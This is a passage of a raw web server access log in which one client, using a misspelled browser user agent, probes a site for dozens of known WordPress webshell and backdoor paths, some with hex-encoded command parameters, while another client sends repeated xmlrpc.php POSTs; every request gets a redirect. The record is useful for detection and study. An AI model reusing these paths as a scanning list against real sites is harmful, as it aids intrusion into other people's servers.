Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:20:43:06 +0330] "GET /Mshell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 101.32.15.141 - - [04/Nov/2025:20:57:11 +0330] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.165.16.8 - - [04/Nov/2025:21:10:17 +0330] "POST /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15" 160.177.172.214 - - [04/Nov/2025:21:10:33 +0330] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:10:35 +0330] "GET /wp-content/themes/gaukingo/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:10:37 +0330] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:10:39 +0330] "GET /wp-content/plugins/ioptimizations/IOptimizes.php?hamlorszd HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:10:40 +0330] "GET /wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:10:42 +0330] "GET /wp-content/plugins/wp-file-manager/lib/files/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:10:42 +0330] "GET /wp-content/plugins/wp-file-manager/lib/files/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:10:43 +0330] "GET /wp-content/plugins/wp-file-manager/lib/files/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:10:51 +0330] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:10:52 +0330] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:00 +0330] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:01 +0330] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:10:32 +0330] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:10:33 +0330] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:10:39 +0330] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:10:47 +0330] "GET /wp-content/plugins/wp-file-manager/lib/files/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:10:50 +0330] "GET /wp-content/plugins/wp-file-manager/lib/files/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:10:59 +0330] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:03 +0330] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:08 +0330] "GET /wp-content/plugins/ioptimization/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:24 +0330] "GET /wp-content/plugins/ioptimization/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:34 +0330] "GET /wp-content/plugins/apikey/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:34 +0330] "GET /wp-content/plugins/apikey/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:38 +0330] "GET /wp-content/plugins/apikey/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:01 +0330] "GET /wp-content/plugins/ioptimizations/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:02 +0330] "GET /abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:01 +0330] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:02 +0330] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:02 +0330] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:24 +0330] "GET /wp-content/plugins/ioptimization/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:32 +0330] "GET /wp-content/plugins/ioptimization/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:39 +0330] "GET /wp-content/plugins/apikey/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:39 +0330] "GET /wp-content/plugins/ioptimizations/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:41 +0330] "GET /wp-content/plugins/ioptimizations/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:11:43 +0330] "GET /wp-content/plugins/ioptimizations/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:04 +0330] "GET /abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:05 +0330] "GET /wp-content/plugins/dzs-zoomsounds/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:21 +0330] "GET /xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:27 +0330] "GET /wp-content/uploads/kaswara/fonts_icon/a57bze8931/.__a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:28 +0330] "GET /wp-content/plugins/ioptimizations/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:04 +0330] "GET /wp-content/plugins/dzs-zoomsounds/king HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:13 +0330] "GET /wp-content/plugins/dzs-zoomsounds/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:13 +0330] "GET /wp-content/plugins/dzs-zoomsounds/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:25 +0330] "GET /king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:25 +0330] "GET /a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:26 +0330] "GET /wp-content/uploads/typehub/custom/a57bze8931/.__a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:27 +0330] "GET /wp-content/plugins/wp-engine-module/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:36 +0330] "GET /wp-content/plugins/ioptimization/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:36 +0330] "GET /wp-content/plugins/gatewayapi/inc/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:40 +0330] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:42 +0330] "GET /wp-content/plugins/dzs-zoomsounds/savepng.php?location=a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:43 +0330] "GET /wp-content/plugins/apikey/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:44 +0330] "GET /wp-content/plugins/dzs-zoomsounds/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:45 +0330] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:43 +0330] "GET /wp-content/plugins/cherry-plugin/admin/import-export/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:49 +0330] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:50 +0330] "GET /modules/mod_simplefileuploadv1.3/elements/i8HQoK6nR.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:50 +0330] "GET /ALFA_DATA/alfacgiapi/database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:51 +0330] "GET /database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:52 +0330] "GET /wp-admin/database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:54 +0330] "GET /alfacgiapi/database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:56 +0330] "GET /wp-includes/database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:57 +0330] "GET /style.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:13:00 +0330] "GET /wp-includes/style.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:13:02 +0330] "GET /simple.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=6370726573 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:13:11 +0330] "GET /wp-includes/wp-22.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:46 +0330] "GET /wp-admin/x.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:47 +0330] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:54 +0330] "GET /wp-content/database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:58 +0330] "GET /wp-admin/style.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:12:59 +0330] "GET /wp-content/style.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:13:00 +0330] "GET /jamal.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:13:10 +0330] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:13:11 +0330] "GET /wp-22.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:13:16 +0330] "GET /wp-content/wp-22.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:13:17 +0330] "GET /wp-admin/wp-22.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 194.165.16.8 - - [04/Nov/2025:21:20:28 +0330] "POST /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0" 160.177.172.214 - - [04/Nov/2025:21:20:34 +0330] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:20:38 +0330] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:20:42 +0330] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:20:43 +0330] "GET /css/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:20:49 +0330] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:09 +0330] "GET /wp-cron.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A 